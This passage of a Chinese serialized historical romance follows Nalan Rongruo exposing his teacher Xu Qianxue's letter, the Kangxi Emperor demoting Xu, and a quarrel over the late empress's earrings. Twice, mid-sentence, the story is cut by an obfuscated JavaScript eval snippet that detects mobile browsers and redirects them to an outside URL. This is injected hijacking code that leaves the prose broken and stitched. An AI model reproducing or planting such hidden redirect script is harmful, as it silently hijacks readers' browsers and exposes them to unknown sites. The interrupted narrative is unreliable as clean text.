“公子取的名字,袖云都是解其意和打着心底里喜欢着的。” 容若和颜氏侧夫人这般聊着,不知不觉就过了半日。 细雪染流光,侬语传真情。双把心思酌斟。 眉目转年华,金坚经年月。哪分房中朝昼。 “我在房中陪着你一同用膳。” “公子。” 袖云明白,此刻不能回应一个“好”字或是“谢”字,否则就是对容若的不理解。 一声呼唤,换得他的含笑点头,最是值得。 袖云看着容若的模样,美好恬然,细致温润。 她顺着容若的手势,靠近他的臂弯—— 他予爱予求,不偏不私,销魂谁知?也温春宵; 她双眸微合,神思翩然,自在微笑,自如分恰。 袖云留恋着那份温度,心想: 琢磨、推敲、掂量公子的心事,何尝不是自己和卢氏夫人的特权?外人是不需要懂的,离公子近的人,都一一能懂就好。 * 又过半月。 容若在“饮水词歌·素菜馆”中见到了受沈宛所托的两名精锐镖师。 犒劳过镖师,回到“一双人”雅室,容若对两封信看得仔细。 除去徐乾学那些自私自利、损人害人的话,沈宛还提到: 徐乾学跟江南本地的文人集团相交甚密,彼此往来,受贿行贿自不必说,天下珍品和贵重典籍亦是不计其数,皆入徐府或直抵京师; 江宁织造一派繁盛,荣光与皇恩密不可分,然个中败絮,类似账目造假、偷梁换柱、官商勾结等见不得光的事情,不在少数。百姓常有议论:浮锦入皇宫,美锦官家手,只剩边角料,下民相争忙。 公子所问《天工开物》之事,江南未曾见得就有。倒是禹之鼎画作,日渐与千古画圣顾恺之并论,描绘人物之阿堵传神,唯有顾禹二人。不知此次禹之鼎“画归故里”,是纯属巧合?还是与《天工开物》联系紧密?一切难解。 容若将沈宛的亲笔书信藏入密匣,只带了徐乾学的信件原件回到明府。 * 渌水亭,暖炭炉侧。 容若与明珠父子同坐。 明珠看罢鉴罢,确认是徐乾学真迹无误之后,慎重问:“儿啊,你这是从何处所得?” 容若借口道:“此信件为顾贞观所窃,后张纯修收到情报,暗暗派人从顾贞观住处窃得,才转交到儿手上。” 明珠不疑,只把信件压在一块小圆石下面。 容若道:“徐乾学找书的动因,无非是:报复宋应星、不让容若好过、巴不得自己升官发财。阿玛,照你看,这个信件是否上交皇上?” “徐乾学如此心怀不轨!”明珠嗔怒,“怕是黑衣人也是他所指使!” “那信件,是儿上交还是阿玛您上交?” “当面交给皇上自然是使不得,否则你我父子目的太明确,反而会叫人当成是徐乾学的一丘之貉。不如把信件悄悄放在皇上留意的到的地方,顺其自然地揭露恶人面目。” “翰林院编修彭定求,那人虽是状元郎出身,却一直在徐乾学的重压和监视之下做事,倒不如借了彭生之手,让信件出现在皇上看得到的地方。” “容若,就照你说的办,你行事小心。” “好。明日儿进宫去。” 明珠记起:“你不是为曹寅联系了一些你的文人朋友吗?有没有从那些文人朋友口中听到跟《天工开物》相关的可靠消息?” “他们只晓得宋应星其人其书,并未谈及窃书或书窃的可能性。” “容若,天下不是有个奇人施道渊吗?施道人无所不通、无所不知,何不找他来一问究竟?” “阿玛提醒的是,该借助一些人力和天力来解决案子了。”容若又一想,“话说回来,《天工开物》原稿交到了皇上手中又如何?难不成皇上又想将《天工开物》赐给我?那我算是得福还是得怨?” “皇上圣阅后,将宋应星的作品搁在藏书楼放置便罢。”明珠劝道,“皇上要是真要将你作为案子善后的筹码,把那套书给了你,你不愿收下也必须收下。而且,你千万不可慈悲心大发,将《天工开物》还回到宋应星本人手里去。” 容若无奈一笑:“儿还不如多得几幅顾恺之真迹。” “你想什么呢?”明珠正经道,“如今顾恺之的真迹,轴画壁画早已荡然无存。你真想要,阿玛就叫人去给你寻南宋乐师姜夔的临摹之作,那也是出神入化的。” “所幸儿手里存着皇上给的阎立本《步辇图》真迹。” “所以你说皇上待你好还是不好?”明珠摇头,“都是宿命,宿命呐……” 容若不语。 自用竹制香挑拨纳兰香。 宿命,星宿斗转,命数多移。 人生,轨迹既定,须争之时还须争。 * 次日。翰林院。 纳兰容若邀了曹寅一同,前去“找书”。 “吾生这是要找什么书啊?”徐乾学背着手相迎,“《天工开物》不在这里。” “容若来找自己的书。” 徐乾学才想暗讽几句,就看见彭定求眼疾手快地把《渌水亭杂识》从书架里翻了出来,恭敬地捧到了纳兰公子面前。 ——彭生,好你这个吃里扒外的东西! 徐乾学把脸朝彭定求一沉,又迅速恢复常态,转向容若:“吾生何日刊印词集?本官定是要把书架的一处擦的亮亮堂堂,亲手摆放吾生佳作。” “一处?”容若故作骄傲,“吾师是打算把容若的《饮水词》和《侧帽集》放哪儿呀?” 徐乾学随口一说:“那自然哪里空位大放哪里啊!难不成吾生还想自乱秩序、并居苏辛、温李、秦黄、姜柳【注1】不成?” 曹寅替好友鸣不平: “徐大人怎就一副揶揄口吻?《纳兰词》可谓是情真意切,所出皆精品,莫说是你所列举的那几位唐宋名家,就算是成为‘后世第一,再无可及者’也无可厚非。” “照我看,《纳兰词》一旦刊印成册,就该摆放在翰林院最显眼的位置,乃至于日后,成为皇家的经典、居大清文坛首席。徐大人你说,是不是整个翰林院都沾了《纳兰词》的光?” 徐乾学被曹寅这话一刺激,哪里还了得? 竟与容若起了口角,尽管容若一再忍让,也终究是架不住座师的顽固与执拗,跟座师之间的冲突是越发大起来。 曹寅背过身去,朝着空气暗笑:容若的目的达成了! 下一刻,曹寅又做出了焦急的模样,向另外几个翰林编修求助:“你等还愣着做什么?好歹是上前劝一劝纳兰公子和徐大人啊……” 容若和徐乾学在争执之中,有意将信封从袖中掉出。 彭定求没看清,只当那“家书”是从徐乾学身上掉落的。 好奇心驱使,他就去捡。岂料,他才拿起信封,就从里面漏出一张三折的信纸来。 彭定求原本无意偷看,哪知一眼就扫到信中那几行了不得的字眼,不由得在心中对徐乾学大骂: “徐乾学,好你个心胸狭隘、卑鄙无耻之人!为了一己官途,什么龌龊事都做得出来!!” 这位心性耿直的状元郎,一刻没有犹豫,直奔了养心殿去。 他决定,要把徐乾学的“家书”当面上呈康熙皇帝,痛陈自己所受到的欺压和徐大人对纳兰公子的陷害。 * 某日深夜。瓜尔佳府邸。 云辞离开大清已经有些时日,朴尔普对女儿甚是想念。 夫人章佳氏道:“老爷,咱们不能不把画师禹之鼎当作是大有前途之人来看。现在禹画师在江南的人气,可是不输给‘大清第一道士’施道渊呐!” “认祖认祖,禹之鼎的祖先要真是顾恺之就罢,可他那只是把一幅画漂流回了江南故里而已,人言相传,才造就了今日局面。” 朴尔普本着门当户对的理念,复向章佳氏强调: ”人家顾恺之好歹出身不低,少年成名,不到二十岁就已经跻身东晋名流。况且,人家顾恺之娶的是大司马桓温的第四个小女儿桓杳,桓温的儿子桓玄日后还当了皇帝呢!哪是禹之鼎能比的?” “这嫁女儿也要看女儿喜欢谁呀!”章佳氏道,“纳兰公子已有妻妾,老爷您何必执着于云辞再入明府为明珠儿媳?” “本官这是为——” 朴尔普的话尚未说完,就听见门外传来一阵声响。 管家匆匆来报:“启禀老爷,就在刚刚,家仆们在府邸巡逻之际,看见一个黑影如轻燕般点墙而过,不知意欲何为?为了以防万一,小的现在已经安排人去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720617|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追了。” “本官从不在朝中树敌。”朴尔普一脸淡定,“定是那些江湖好汉踩错了点,才会被你等误认为是歹人。” “话可不能这么说啊,老爷!”管家仍旧警惕,“现在《天工开物》下落不明,没准什么时候……瓜尔佳府邸也成了可疑之所啊!” “本官之女云辞,日常看的都是洋书;曾寄宿于此的画师禹之鼎,也是在看洋书和为洋书画插图。”朴尔普一摆手,“与《天工开物》何干?” “就怕老爷您是跟《天工开物》彻底无关,但是此前……云辞格格跟那套书紧密相关呐!”管家危机感十足道,“云辞格格跟纳兰公子一起看过、藏过《天工开物》的原稿也未可知。” “我纳兰贤婿一身正气,真要是看过、藏过皇上要找的东西,早就上交了,岂会置眼下的乱局于不顾?” “老爷您自然有您的看法,”管家忠心耿耿道,“但是江湖好汉们都是收钱办事,刀枪暗器全都是不长眼睛的,老爷和夫人都要格外留神自身安危才是。” “好!”朴尔普一点头,“那你派出去的人一旦确认了黑衣人的身份,就立刻来给本官回话。” “那要是没抓到人呢?”章佳氏比管家更加担虑,“府邸岂非已成险地?” “有本官在,夫人不必害怕。”朴尔普拿出勇气,“本官那是那句话,清者自清,《天工开物》瓜尔佳府邸没有就是没有,管他什么江湖好汉还是异党恶棍,害不到咱们头上来。” * 一日,徐乾学刚刚从皇宫归家。 才要进去房间更换朝服衣冠,就看见管家的身影。 “大人,不好了!” “你慌慌张张地做什么?” “您那只羽毛会发光的宝贝金丝雀,方才死了!” “什么?” “回大人话,是自断了雀舌而死。” 徐乾学拧眉沉默了好一阵子,才迈着沉重的步子走向“汇贤亭”。 临近熟悉之地,看见鸟笼已经被取下,搁在了石桌桌面上,上面盖着一层白布,徐乾学竟然发自内心地流下了眼泪。 管家只见: 徐大人把已经一动不动的死鸟从笼中取出,托在左手掌心之上,用右手反复抚顺鸟羽,口中皆是悲伤悼词。 等到徐大人把那只金丝雀放回原位,忍痛叫了一个丫鬟去处理之际,已是泣不成声。神色之真切,为人之所未见。 “大人,您这是何苦呢?”管家说这话,不算是劝,“神鸟再灵,您消受不起就是消受不起,多流一滴眼泪也不管用。” “这不一样啊!”徐乾学叹息,“多亏神鸟指引,本官才能看清:后宫斗争和《天工开物》的所在,你可记得?神鸟是朝着本官的老家江南鸣叫的,那不是提醒本官捷足先登、托于老家的家人去找书,那又是什么?” 管家应的冷酷:“小的不记得。” 徐乾学捶胸顿足:“原本本官先一步找到《天工开物》,进献给皇上就能加官晋爵,现如今,神鸟骤死,可是难有指望了。” “老爷,您的金丝雀是咬舌自尽,不是骤死。” 徐乾学被这话一刺激,才觉察到事情的发展已远非如自己所料。 “本官写的信,是否已经无事送到昆山老家?” “恕小的直言,大人的信件要是到了家人手中,还能至今收不到回信吗?” “一派胡言!”徐乾学死不承认,“回信晚到而已,岂能说是不到!” “大人,您对天意还没看透吗?”管家单手指向苍穹,“是老天爷不让您作恶,连笼中鸟都死给您看了。” “有你这么对本官说话的吗?”徐乾学怒瞪管家,“你不与本官站在同一立场,反而句句指向本官的不是,哪里有点忠仆的样子?” 管家却是把腰板一挺,怒怼主人道:“大人您报国无能,才不为民,力不为君,成日自以为是、自我孤诣,为了名利什么都做得出来,又哪里有点忠臣的样子?” “本官看你是被顾贞观蛊惑神志了!”徐乾学一拍石桌,巴掌生痛,“顾贞观还没骂到本官面前来,你倒是有胆子以下犯上、大声指责本官!” 管家仰天大笑,徐乾学看之而呆然。 笑罢,管家对那德不配位的徐大人道:“大人您别嘴硬了,仔细遭了天谴。如今您往前多走一步都是坠入万丈深渊,还不如老老实实呆在家中,看看事态如何收场。这《天工开物》丢失事件的始末,本就不是您应该搅合的!” 管家复指向仓库和厨房方向:“还不如安安分分地过个吉祥年,把家里的粮草食材备足、早些着手准备下人们的年例钱。被家人和下人念恩,总比被外头的人记仇好。” 徐乾学斜倚亭柱,呆望眼前风景半晌。 等到午间,他终于想明白了一些东西,默默走回石凳上坐下,十指交错。 管家送了午膳过来,才刚刚摆放到一半,就听见徐大人大喊大叫。 那副疯魔了似的的模样,就跟是提前从尔虞我诈中出局了的输家一般,凄厉而惹人躲诧。 “完了,真是完了!” 徐乾学站起来时,右脚踢到石桌的十字型脚柱,疼痛钻心。 他如同在柴火堆上戴着镣铐跳舞,好不容易平静下来了动作,也不过是从桌子上拿起一块发糕,胡乱啃了几口。 “这次本官莫说是妄想凭借——江南徐氏势力和个人言论来胡言《天工开物》的宗旨,以扳倒一直就不把本官放在眼里的宋应星,怕是连顺带把‘爱徒容若’加害一把的计划也不能实施了!” “人在做,天在看。”管家再次往上一指,“老天爷都容不下大人您丧尽良知,大人您就别再枉费心机了。” 徐乾学仰天一望,不见青云。 遂问管家:“你说这老天爷,为何从来都不站在本官这一边?” 管家冷声应道:“一个人要是心术不正,如何得天道?苍天自会行道灭之!” “轰隆隆——” 一声惊雷过后,雪停而冰雨降,风卷雨袭衣,瓦落声惊心,徐乾学吓的呆立如石头雕像。 【注1】 苏辛:苏轼、辛弃疾 温李:温庭筠、李商隐 秦黄:秦观、黄庭坚 姜柳:姜夔、柳永 155.第155章 容若相赠给沈宛的亲自所绘的字画,山长水远,终于送到了沈宛手中。沈宛如获至宝,反复赏阅,不忍离手。 天气越发寒冷,江南已是处处白雪覆盖,文人墨客们也难钓烟波。 宋应星在家中另著新述,也未见有同道中人或是江湖好汉来扰,日子过得还算是平和无祸。 沈宛用红纸剪了一片喜气图案的窗花,提前贴上了窗户,映着纷飞的白雪,别有一番情调。 宋应星道:“江南的地方官都是些没胆子的,就这么将禹之鼎的《甘蔗图》送回到了皇宫,还在给康熙皇帝的折子里好说歹说:卑职任职勤勉,严管地方教化,宋应星立足私宅,不见错行。至于宋应星作品原稿,卑职实在是无言回禀皇上,还请皇上宽恕。” “师傅您一生未娶,不知情为何物,只把满腹才学都写成了白纸黑字,倒也是不愧天地了。”沈宛看向桌面上的宋应星新稿,“事已至此,季度有余,康熙皇帝向来重视农商水利,想必不会听信小人谗言、不会把禹之鼎的画有意洞察出什么对您不利的东西来。” “顾恺之活了六十多岁,我宋应星至少应该活八十岁!”宋应星硬朗道,“一路见证康熙王朝的始末、当个你的嫁娶之路的见证人。” 沈宛展开容若的字画给宋应星看。 “大唐有汪伦送李白的桃花潭水之情、王维送阮二使西出阳关的深挚友情,师傅您跟张岱先生之间的交情,也能名垂青史。御婵却是讲究一个‘情’字和一个‘义’字,恰是中间还存了一个‘雅’字,与纳兰公子的字画之趣相合。” “你们女子,真是叫人难解。”宋应星半倾着身子看画,“为何能为一个纳兰容若而不计较得失?甚至是名分,也在乎高低,好似只要能够与他相牵连,得一份‘落蕊粘钗,寒风拂眉’之情思,就一生谐好、四季平安了一样。” “师傅对画中人的八字描述,当真是精髓。”沈宛一笑,“怕是公子本人知道了,也愿意成为佳句。” “纳兰容若有能耐不辜负每一个人,尤其是自己的妻妾和你,我却为你那‘熬得住’三个字惋惜。”宋应星对画中人和琼色飞花轻叹,“年华对男女不公,容颜在女子脸上流逝的快,等闲心在男子胸中变的快,要是有了‘故人’之感,岂非双双寂空楼、恨湖面鸳鸯?” “御婵自愿,自愿以独特形式陪伴公子一生,不怕被后世之人多猜多议。”沈宛想着意中人,“这‘不负’二字,师傅您只看到容若的表面付出和纸上词句,御婵却是深知:容若是当今世上,最担的起‘惜己爱人’四个字的佳公子。” “御婵,你可是会觉得:一个‘负’字用在纳兰容若身上,比那个‘若’字还要令人疼惜百倍?不想负、莫欺负、无辜负、未曾自负……纳兰容若践行的教养之道,就像是一个范本一样,人人得见,欲效仿之而无法、将索求之而不能够。” 沈宛回忆道:“我曾在周之捷周老板的‘庄周梦蝶’字画店中听闻:一书生前来瞻仰纳兰容若真迹画扇,看罢后痛哭,道:学生愚钝,一心功名,有负红颜,今日才悟,画扇栩栩、何劳情思见捐?惭愧惭愧啊……” “眼缘跟行动终究不同啊!”宋应星摇头,“纳兰容若自谦绘画造诣不如别人,世人也少议论他的绘画,但他却乐意把绘画给你和送到‘庄周梦蝶’店里去给周老板展示而不卖,说明什么?渡人即渡己,情真即真情。” “当真是师傅看得透彻。” 沈宛为宋应星捧上热茶。 “周边之人,也有谈及纳兰容若的感情事。” 宋应星轻轻用盖子刮杯盏中的茶汤,道: “他写给妻妾的词,传颂的广泛,却不尽是深闺春事。他对正妻,是相拥互温、相知相明之感,爱意付诸在日常相处和偶得的飒爽远行中,他从正妻身上得到了温情和关切;他对侧室,是交付家事、梳理情思之感,爱意倾注在貌合心合与多年以来的默契之中,他从侧室身上得到了共情与安心。” “师傅,您如何知道的这般清楚?” “从容若的新词里面琢磨出来的而已。莫看江南书商跟京华离得远,《饮水词》和《侧帽集》将印,江南书商们也是争着刻板的,大把大把的预定银子早就投进去了。” 沈宛盼切:“那我必是第一时间购得。” “你何须去购?”宋应星笑,“纳兰容若自会把《词集》万无一失地遣人送到你手中。” 沈宛红唇轻抿芙蓉酥。 《纳兰词》每一首她都看过,就跟是《选梦词》每一首她都拿给公子看过一样,彼此早已互鉴互论多次,伴随着花与香,云与影,桥与水,深深刻印在心。 当夜,她为公子写了一首曲子,名叫《花逐影》。 其中一句是:对坐天星久,敛袖雪拂眸。 这是她想象的公子的模样,恬然美好,如若仙君。 * 明府。 容若不惧寒冷蹲在开的正好的水仙花旁侧观赏。 近来要说有什么新奇的事情,是福建水师的施琅大人派遣手下——送了地方特产“腊味萝卜糕”和“咸味芋头糕”各三斤到明府。 气候寒冷,食材不易坏,迎接新年,寓意也好:祝明珠大人步步高(糕)升,富裕(芋)吉祥,福禄(合计六斤)大顺。 明珠仔细吩咐厨子去做,厨子将两样点心切片煎至金黄,配以特制的沙茶酱,明府一家人吃的高高兴兴,聊胜一切山珍海味。 卢氏夫人过来,撑了一把挡雪伞站在容若身旁。 “公子可是在思人?” “思人,也是思物。我曾写下:与卿见,蜀葵花。如今我在京华高门广厦日日安好,不知她在江南小筑是否安然无恙明朗如旧。” “公子是指……沈宛宛姑娘?阿玛和额娘一致说她来历不明,只想着对公子爱尔得尔,所以准不得她进家门。” “嗯,是她。给她蜀葵花花苗的人,是我。”容若看着眼前跟蜀葵花颜色一致的水仙花,“她的背景和来历,我也是前些日子才弄明白。” “公子要说与阿玛和额娘听吗?” “袖云我也不说,只说与你听。”容若摇头,“沈宛的确是生下来就不知爹娘是谁,只被前明士人宋应星收做养女,一面在江南歌楼习得琴棋书画曲,另一面在镖局分号习得一身本领,又有师傅的文学素养熏陶,才成长为今日模样。” “那公子跟宛姑娘,是属于一见钟情、再遇不舍、三而缘深的情路历程吗?” “我跟宛卿不算是一往情深或一厢情愿,只是被相似的兴趣爱好连接到了一起。她能写词,有着汉人女子独特的气质;她会武功,有着类似满族女子的飒爽英姿;以及她的性情和她的胸怀,无一不是触动着我、打动着我。” 卢氏静静地倾听。 她对占据了容若的部分真心的沈宛并不嫉妒生怨,反而是希望容若能够如愿将沈宛纳为侍妾,这样一来,便是容若身边多了个可心的人儿,自己也多了个妹妹。 她笑道:“妻妾成三比一正一偏的好,公子心意玲珑,不负谁人、谁人亦不负公子。阿玛和额娘只是介意宛姑娘的身世背影,总有一天,会被公子说服和会被宛姑娘打动的。” “尔谖你愿意包容宛卿,我觉得是己之幸。” 容若浅笑,时光静好。 花瓣间雪披抖落,淡淡映光影。 “我将宛姑娘当作是家人。” 卢氏挪步,倾漏伞上雪。 轻霭纷繁朦胧似纱,不输星坠银汉间。 容若心情温馨,感情和畅,天寒不觉冷,风起不觉凉。 ——阿玛明珠朝堂前立,哪能辨阿堵清浊? ——有子如我情关独闯,谁能记一切因果? 容若抱起刚刚剪下的一束鹅黄色水仙花,分了一半给卢氏夫人,从她手中接过挡雪伞,一并折返书房方向。 二人背影清丽,如人走在碧雪画卷中。 朱门既推,小窗半开,一卷书情自来,一袭爱眷已生,便是好韶光。 * 后宫之中。 按照礼数和规矩,由皇贵妃钮祜禄氏对先皇后赫舍里氏的遗物进行分配。 为了避免节外生枝,闹出“争执所爱”或是“出言不逊”等对先皇后不敬的事情来,皇贵妃特意叫人去慈宁宫请了苏麻喇姑前来。 与苏麻喇姑前后脚踏入景仁宫的,是从宝华殿临时而来、为家国祈福带发修行模样的德嫔。 皇贵妃端仪道:“先皇后的遗物,含金银首饰、绫罗绸缎、爱用物品等,内务府已经造册盘点,呈送太皇太后过目。现本宫遵照宫规,转赠各宫嫔妃,以纪念先皇后恩惠。” 众嫔妃道:“谢太皇太后恩典,谢皇贵妃娘娘恩典。” 惠妃虽是众嫔妃当中资历高的,但也待各位妹妹友好:“请各位妹妹先挑。” 荣妃和宜妃亦做礼让,道:“臣妾等只取皇贵妃娘娘分配的,桌面诸多珍萃与绫罗,请各位妹妹自选合适的。” 皇贵妃便拿了一只绿翠镯子过来,转赠荣妃;又拿了一只银制的镶嵌着宝石的五彩蝶舞钗出来,转赠宜妃。 本来照着这般的步骤下去,再将一只金刻的牡丹纹戒指转赠德嫔,等待其余各宫的嫔妃都选取了各自所爱之后,由惠妃最后取得一物就能顺利收场,哪里想到—— 平日里看似姐妹的宣嫔和平贵人却起了争执。 原来,是她俩同时看中了先皇后用过的一对玉雕冰雪莲耳环,都想着占为己有。 成妃道:“两位妹妹果然是眼光独到,先皇后在世之时,最爱的花卉便是天山冰雪莲,这对耳环也是宫中的能工巧匠费了大心思才制成的,连皇上都赞不绝口。想必佩戴上之时,会让皇上睹物思人,垂怜于眼前人吧?” 惠妃善意道:“宣嫔,平贵人,都是自家姐妹,与其这般各执一只耳坠不肯放手,倒不如一方谦让于另一方,也好让苏嬷嬷在太皇太后面前说出佳话来,你俩说是吗?” 德嫔端坐在一边,一副“与世无争”的样子,平和道:“臣妾以为,后宫应该以和为贵,少一些为己,多一些为人,一并为皇上分忧才好。” 皇贵妃才想发声,哪料宣嫔和平贵人偏是什么劝都听不进去,一左一右,一推一搡,一争一执,愣是当着苏麻喇姑的面……把先皇后的“玉雕冰雪莲耳环”扯断摔碎了! 众嫔妃都是大惊,这岂止是对先皇后的大不敬,更是会惹康熙皇帝龙颜大怒的啊! 宣嫔和平贵人反应过来,也是被各自的鲁莽举动吓了一跳,双双颤抖着身子退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“皇贵妃娘娘处事得力,待人宽和,今日先皇后遗物分配之事,虽有插曲,但已经化干戈为玉帛。” 玄烨问:“是谁说错了什么话?做错了什么事?” 孝庄道:“苏嬷嬷你直接说吧。” “宣嫔和平贵人因为先皇后的‘玉雕冰雪莲耳环’而行止无端,使得物件毁损。皇贵妃娘娘已经教导和惩罚她俩。” 玄烨道:“那对耳环,叫工匠仔细修补,补好之后再各送一只给宣嫔和平贵人,让她俩好好记着朕对先皇后赫舍里的情份,以及皇贵妃的大度。” 孝庄肯定道:“皇上这么做,的确是最妥当的。” 玄烨又问:“惠妃和德嫔都挑了什么东西?” 苏麻喇姑道:“惠妃娘娘挑了一只花瓶,德嫔娘娘得了牡丹纹戒指。” 玄烨疑心重,遂问:“那只花瓶是什么图案的?以及那只戒指德嫔戴在哪只手指上?” 苏麻喇姑做出轻松的模样,以消除帝王疑心。 她对玄烨笑道:“皇上这就是多虑了,嫔妃们挑领各自喜欢的东西带回,心里都是念着先皇后的好的,哪会有别的心思呢?” 玄烨看向纳兰,问他:“你说惠妃和德嫔的心里,装着的是不是朕?” 纳兰自生冷意,玄烨的本意,他一清二楚:这位天子不信任自己的侧妃,且觉得自己的侧臣也难逃责任。 “我……臣……”纳兰稍稍皱眉,“臣以为,皇上心里能够给后宫嫔妃留下一席之地,就能够填补满嫔妃们的心。” “你——”玄烨忽然指向纳兰的心脏,“别以为这么说就等于是给朕回了话!” 孝庄轻叩桌面,转移了君臣两人的注意力,道:“皇上,自己的侧妃的心思,你该自己去确认。问纳兰能够解决什么?还是说皇上非要从纳兰口中听到什么正中下怀的话来,才满意?” 玄烨急峰一转,道:“朕没有别的意思,不过是对纳兰随口一问。” 纳兰本想多应一句,终究是做了罢,说多错多,不如不说。 孝庄圆场道:“不说后宫之事了,说说纳兰的家事。” 太皇太后看向眼前的皇孙玄烨和当作亲孙辈疼的纳兰,慈爱道: “颜氏侧夫人的产期将近,到孩子出生为止,纳兰你不必进宫来了,多陪着颜氏就好。颜氏是第一次生孩子,难免不安,你要多跟她说说话,只要她心情宽乐,没有什么生产难关是过不去的。” 纳兰微笑道:“是,容若遵老祖宗教导。尔谖与袖云相处甚好,容若能得诸多爱意,打着心底里感谢老祖宗指的好姻缘。” “好,你跟妻妾关系和美,我这个皇祖奶奶心里也高兴。” 玄烨露出了“什么?”的表情,意思是: 皇阿奶是朕的皇阿奶,朕几时准过纳兰这么叫? 还是说朕不在之时,纳兰已经私下这般称呼太皇太后多时?【注1】 顾总管在康熙皇帝耳边劝道: “万岁爷,‘皇祖奶奶’只是太皇太后一时之自我称谓,没有上升到跟纳兰公子确认皇亲国戚关系的地步,不作数的。您可千万别往心里去。” 【注1】 孝庄主动恩准纳兰叫她“皇祖奶奶”,见第147章,但是纳兰没有逾越规矩。 而在这一章中,康熙皇帝对此非常敏感,前有他目击纳兰与惠妃私下约见于毓庆宫工事地现场,后有他认为自己的皇祖母孝庄的爱被纳兰夺走。 康熙皇帝自小失去母亲,是孝庄抚养长大长大,所以他对皇祖母的感情不一般。 156.第156章 从慈宁宫出来,康熙皇帝心情欠佳。 索性来到养心殿,追究起之前的那件事情来。 养心殿内。 康熙皇帝严厉责骂了徐乾学。 徐乾学虽知道—— “信件”一事的揭发者状元郎彭定求,那家伙是被人所利用,才敢直言于君,说了不少平日里没法说、也不敢说的大实话,以至于造就了今日的局面。 但徐乾学也不好多说什么,黑抹黑,只会更黑,他只得一面向康熙皇帝认罪,另一面又把索额图拉下马。 “索大人也难逃干系啊!”徐乾学尖声道。 “臣虽然是一时糊涂,被‘登青云’三个字迷了心窍,才欲做出‘胡言《天工开物》、打击报复宋应星’和‘信口开河,栽赃爱徒容若’的两件错事来,全是因为有索额图索大人的反例在先!” 康熙皇帝冷面听着眼前人狡辩。 “索大人擅自截获镖物当中的‘罗带香’,一错再错,使得康熙朝发生‘茶碗错饮’之事,荒唐史册……臣未能引以为鉴,反而在后续《天工开物》的案子中百计卷入,是罪大恶极,但一切的罪魁祸首不是臣啊!” “你当真是以为朕心中无数了吗?”康熙皇帝指着地面让徐乾学跪下,“朕先治了你在翰林院的自大欺人之罪。” 不等徐乾学多说一句话,康熙皇帝就怒道:“翰林院是学术之地,岂容你私下组建江南文人集团、私下收贿赂、交换朝中情报?朕所钦点的有资格进入翰林院奉职之人,皆是有才之辈,岂容你恶言恶语、居高临下以对?你不必怪彭定求直面于朕,你的行径朕早有耳闻,未见罪于你而已。” 康熙皇帝对顾问行道:“传朕旨意,徐乾学降职为国子监讲授,即日起不必再到翰林院赴任了。” 顾问行应了声:“是。”就离开养心殿办事去了。 徐乾学想着自己已领一罪,管路不升反降,不由得对明珠父子和索额图都更加记仇。 康熙皇帝见徐乾学如此模样,憎恶道:“你不必想着自己身后的江南文人集团势力强大,以为有他们做后盾,朕就拿你没办法。朕就把话跟你挑明了说,你之势力也好,明索两党之势力也罢,甚至是日渐崛起的佟国维一派都好,你们——” 康熙皇帝冲徐乾学一指:“全部都是朕的臣子!你们背后的人,全都是大清的子民!!” 徐乾学连磕了三个响头认罪。 “朕不会对你轻饶!” 康熙皇帝对徐乾学再论罪: “徐乾学有失人格,败坏官德,朕责令其退下后,一年内不得穿官服、加顶戴、挂朝珠。江南徐府,不得再做里应外合,商民士人勾结之事,责令徐府摘下‘一门三鼎甲’牌匾,取下‘传是楼’两侧标榜‘昆山三徐’光宗耀祖的楹联,没有朕的同意,不得再次复原一切派头。” “万岁爷圣明!” 梁九功大声道。 “徐乾学,你退下吧!朕不想再看见你。” 康熙皇帝指向大门。 “罪臣谢皇上不杀之恩。” 徐乾学在梁公公的指示下,狼狈而走。 * 三日后,翰林院内。 容若跟状元郎彭定求打了招呼,然后让彭生将《渌水亭杂识》放归原位。 很快,容若就从蔡启僔蔡大人的口中听到了“康熙皇帝怒惩徐乾学”的消息,不由得在心中叫好。 罚俸降职都不足磨灭徐乾学的心志,唯有将徐乾学看重的“功名利禄”和“门第肩书”都一一剥夺,才算是给他强威慑力的一击。 * 容若才跟座师蔡启僔聊起最近的学问之事,就有一个名唤“郭琇”的铁面御史前来,挺着八尺身躯,对翩翩公子破口大骂。 “纳兰明珠以权谋私,手下私产无数,得其利惠而捐钱买官者无数。其子纳兰性德何德何能、以无正式官职的身份领取从三品俸禄,游走君侧、以文惑主?” “索额图之谋权,危害大清命脉;明珠之贪婪,断送江山前景。纳兰性德知父行为无道而不相劝,反而助纣为虐:在民间高价售卖字画、营生雅楼素馆、广结各路三教九流之人,或集情报而打击异己、或内外两套而欺友为乐、或借皇恩而施惠小人,获利不可计数,真可谓是:父子同出淤泥,不辨天日,为所欲为,迟早会遭了天谴!” 容若半皱眉,走向郭琇。 ——有些话,无法从耳中过滤出去,听过而自怒。 ——有的人,知其一而不知其二,只将是非都往一处抨击。 下一刻,已被降职之人徐乾学,竟然毫不避嫌地回到了翰林院。 徐乾学在众翰林的诧异目光和质疑声中,坐回了原位,淡漠地看着周围的一切,拿起一杯茶就喝,不问冷暖。 蔡启僔问:“徐大人,你有何脸面再回翰林院?” “本官没什么要说的——”徐乾学晃了晃翘起来的腿,“彭定求见利忘义、不尊徐某为师,非要在皇上跟前把徐某拉下水,徐某不与他计较。所幸——” 徐乾学勾起嘴角一笑:“本官的学生郭琇,为人正直,铁面无私,最是看不惯贪官污吏,将来郭琇必将重振大清吏治,惩奸除恶,不让亵职越矩和自恃君恩之辈逍遥度日。” “学生愿为徐大人、为大清鞠躬尽瘁。”郭琇耿耿以忠,“纳兰明珠以权谋私、卖官鬻爵、贪垢无度,就是朝纲最大毒瘤!!学生定要尽于成龙于大人未尽之志、用尽平生所能扳倒纳兰明珠、扫平明党……” “住口!”蔡启僔朝郭琇一喝,“我翰林院清朗文章、两袖风雅之地,岂容你大放厥词?” 